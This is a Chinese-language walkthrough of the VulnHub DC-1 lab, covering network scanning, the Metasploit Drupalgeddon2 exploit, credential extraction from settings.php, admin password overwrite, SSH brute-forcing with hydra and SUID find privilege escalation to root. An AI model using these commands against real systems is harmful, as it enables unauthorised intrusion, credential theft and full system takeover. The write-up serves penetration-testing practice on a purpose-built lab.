DC-1-Drupal-find提权

靶机下载地址：https://www.vulnhub.com/entry/dc-1%2C292/
靶机描述：DC-1 是一个专门构建的易受攻击的实验室，旨在获得渗透测试领域的经验。共有五个flag，但最终目标是拿到root目录中的flag。

一、信息收集

1.探测目标

方法一：使用arp-scan工具

探测同一区域中存活主机

arp-scan -l

-l 使用网络接口

方法二：使用netdiscover工具

探测存活主机

netdiscover -i eth0

-i device 用于嗅探和注入数据包的网络接口

方法三：使用nmap工具

ifconfig #查看kali的ip【192.168.75.150】

nmap 192.168.75.0/24

2.查看目标开放端口

nmap -sV -p- 192.168.75.152

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

目标靶机开放了80端口，在浏览器打开该站点

3.查看网页相关信息

使用浏览器插件Wappalyzer，这个插件可以检测网站的CMS，框架，服务器等信息，可以看到该网站使用CMS为Drupal，其实在网页界面和底部都能发现是Drupal

二、漏洞查找与利用

1.漏洞查找

使用Metasploit搜索Drupal

msfdb init && msfconsole

search Drupal

2.漏洞利用

优先选择上面查到模块的Rank为excellent并且时间较新的模块

use exploit/unix/webapp/drupal_drupalgeddon2 
show options
set RHOSTS 192.168.0.119
exploit 或者 run
#当出现"Meterpreter session 1 opened"说明利用成功

MSF之命令笔记篇

三、Getshell

1.获取普通shell

meterpreter >shell
ls

发现有个flag1.txt，打开看一哈

翻译：每一个好的CMS都需要一个配置文件，你也一样。
百度查到Drupal的默认配置文件为 /var/www/sites/default/settings.php
drupal7的目录结构及术语

cat /var/www/sites/default/settings.php

配置文件中看到了flag2
翻译:蛮力和字典攻击不行，唯一方法是获得访问权限(你将需要访问的)。你能用这些凭证做什么?
同时，还有获得了数据库账号和密码

'username' => 'dbuser',
'password' => 'R0ck3t',

2.获取交互式shell

使用python反弹一个交互式shell，然后我们登陆数据库

python -c 'import pty; pty.spawn("/bin/bash")'

mysql -udbuser -p
Enter password:R0ck3t

查看数据库,在drupaldb库users表中发现admin用户

mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;

可以看到admin用户的密码被加密了的，但是我们可以想办法修改密码或新增一个admin权限的用户

方法一：修改admin用户的密码

使用Drupal对数据库的加密方法，生成一个新密码，然后把新的密码更新到admin用户
加密脚本位置在/var/www/scripts/password-hash.sh下
参考：忘记Drupal的管理员密码的解决办法

$ php scripts/password-hash.sh wi11  #生成新密码wi11
# hash: $S$D/SgaxfDupdry05u3BqKvT9PKjVc4jEI6jRES/seprnt72dH/1km

mysql> update drupaldb.users set pass="$S$D/SgaxfDupdry05u3BqKvT9PKjVc4jEI6jRES/seprnt72dH/1km" where name="admin";

然后进行登录

方法二：新增一个admin权限的用户

在exploitdb中有一个针对Drupal 7版本的攻击脚本，可以增加一个admin权限的用户账号
查看Drupal版本,确定Drupal版本为7.24

cat /var/www/includes/bootstrap.inc | grep VERSION

msf > searchsploit drupal

攻击脚本适用于7.31以下，所以适合7.24版本,可以利用漏洞增加admin权限用户

增加有admin权限的用户：admin1/admin1

python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.75.152 -u admin1 -p admin1

输入用户名/密码【admin/wi11或者admin1/admin1】，尝试登陆

成功登陆

在后台左上角的Find content中发现flag3

flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow，还提到了find、perms、-exec，这几个是提权用的
我们来查看哈/etc/passwd和/etc/shadow 的内容

/etc/passwd 是一个纯文本文件。它存储用户帐户信息。它包含系统帐户的列表，为每个帐户提供一些有用的信息，如用户 ID、组 ID、主目录、shell 等
/etc/passwd详情
etc/shadow是/etc/passwd的影子文件，存有密码信息

cat /etc/passwd
或者
tail -3 /etc/passwd  #为了方便截图，只显示文件的最后三行

cat /etc/shadow #权限不够查看失败

发现有个叫flag4的账号，但是查看使用/etc/shadow失败，但是前面nmap扫描的时候发现了 ssh 服务，现在又发现了 flag4 用户，所以尝试使用hydra进行密码的暴力猜解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.75.152 ssh
或者
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.75.152

-l  指定破解的用户
-P  指定密码字典
ssh://ip 指定使用协议和ip地址

暴力密码在线破解工具Hydra详解
使用得到的用户名密码【 flag4/orange】,登录靶机

ssh flag4@192.168.75.152

ls
cat flag4.txt

flag4提示flag在root目录下，在/root下发现thefinalflag.txt，但是没有读取的权限

四、提升权限

根据flag3和flag4都提到了find,所以下面我们利用find文件提权
参考：Linux下用SUID提权、linux提权-SUID提权、find命令之exec

SUID可以让调用者以文件拥有者的身份运行该文件，所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件，那么我们运行该文件的时候就得获得root用户的身份了

#查找具有root权限的SUID的文件
find / -perm -u=s -type f 2>/dev/null

可以看到find命令具有SUID权限，如果find以SUID权限运行，所有通过find执行的命令都会以root权限运行

touch wi11
#查找根目录下名为wi11的文件并执行shell
find / -name wi11 -exec "/bin/sh" \;

#-exec 参数后面跟的是command命令，它的终止是以;为结束标志的，所以这句命令后面的分号是不可缺少的，考虑到各个系统中分号会有不同的意义，所以在分号前面加反斜杠。

可以看到已经成功提权拿到root shell，接下来就来查看最终的flag吧

cd /root
ls
cat thefinalflag.txt

到这里我们就成功获取到了5个flag，并成功走完了整个渗透流程